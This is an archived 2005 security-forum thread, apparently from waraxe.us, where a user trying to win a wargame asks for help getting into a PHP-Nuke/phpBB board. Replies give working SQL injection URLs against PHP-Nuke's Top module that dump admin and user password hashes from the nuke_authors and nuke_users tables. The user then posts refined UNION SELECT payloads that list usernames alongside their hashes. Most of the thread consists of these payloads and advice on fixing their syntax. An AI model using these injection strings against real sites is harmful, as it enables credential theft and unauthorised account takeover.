Waraxe IT Security Portal
Login or Register
July 14, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 255
Members: 0
Total: 255
Full disclosure
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
SEC Consult SA-20240620-0 :: Arbitrary File Upload in edu-sharing (metaVentis GmbH)
Zip Slip meets Artifactory: A Bug Bounty Story
Backdoor.Win32.Plugx / Insecure Permissions
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> More needed than just Hash: phpBBmysql_sid
Post new topicReply to topic View previous topic :: View next topic
More needed than just Hash: phpBBmysql_sid
PostPosted: Wed Nov 02, 2005 2:39 am Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




I'm working off of a board with php-Nuke. It appears to be using version 7.0, and a yet to be identified version of phpBB.

I read the cookie tutorial in this forum, but it appears to be missing critical information. Simply editing the phpBBmysql_data cookies is not enough.

The board will not accept hashed passwords without a valid cookie entry for phpBBmysql_sid .

Does anyone have any information on what this is?

The MD5 hash is not easily crackable unfortunately... So some other method is needed to gain access.

Any ideas or comments?

So far, as part of this wargame, I've been able to grab the aid, the uid and the MD5 Hash. I thought I had this done when I got the hash, but I guess not. I'd really like to win this, so I appreciate any input.
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 3:26 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




have you tried the top module exploit? It grabs all the admins md5 in the Nuke_authors database. You may be able to get another admins?

Waraxe's nuke Authors version:
http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*


or for the users:

Shai-tan's Nuke Users version:
http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,user_password,1,1%20FROM%20nuke_users/*

Shai-tan

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
no dice
PostPosted: Wed Nov 02, 2005 3:54 am Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




unfortunately, there is only one admin

This is actually the exploit I used to get the hashes in the first place. Does this mean I'm screwed?
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:10 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




nope there are ways I havent done much with php-nuke.

http://www.milw0rm.com/remotephp.php?it=PHP-Nuke


Shai-tan

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:15 am Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




Also I noticed wit hthe users that the hashes don't match up with the user names when I display them...

I'm not sure how I would format the query to search for a hash based on a user name... Anyone?
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:18 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




You probably need the user_id for each username todo that.


Shai-tan

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:25 am Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




Well I've tried

http://[site here]/modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nuke_users%20where%20user_id=MYNAME

and it turns up no results. Is my syntax wrong?

If instead I end it with (from nuke_authors instead of nuke_users)
%20where%20radminsuper=1

It returns the conditional values fine... Can't see why its not returning values for the users
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:29 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




change the nuke_users to nuke_authors for the super user.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:35 am Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




sorry if that came out wrong..

I was wondering if there was a way to get the hash for a specific user id.

I've tried:

http://[site here]/modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nuke_users%20where%20user_id=MYNAME

but it does not produce any results... am i formatting it wrong?
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 4:37 am Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




there is probably a way I havent really got much time on my hands atm lolz.

Look for another exploit perhaps?


Shai-tan

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 2:32 pm Reply with quote
nicknomo
Regular user
Regular user
Joined: Nov 02, 2005
Posts: 7




found out a solution

While I couldn't figure out how to display both, I did figure out how to display the username in the same order the passwords are displayed.

http://localhost/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,username,%201,user_password%20FROM%20nuke_users/*

It will dump the username into the poll... but it won't be ordered by username, it will be ordered by password.

Just do a dump of the hashes as well, and save the results.


Last edited by nicknomo on Tue Nov 08, 2005 11:31 pm; edited 1 time in total
View user's profile Send private message
PostPosted: Wed Nov 02, 2005 6:28 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
Joined: Feb 22, 2005
Posts: 477




Good stuff man


Shai-tan

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
More needed than just Hash: phpBBmysql_sid
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.166 Seconds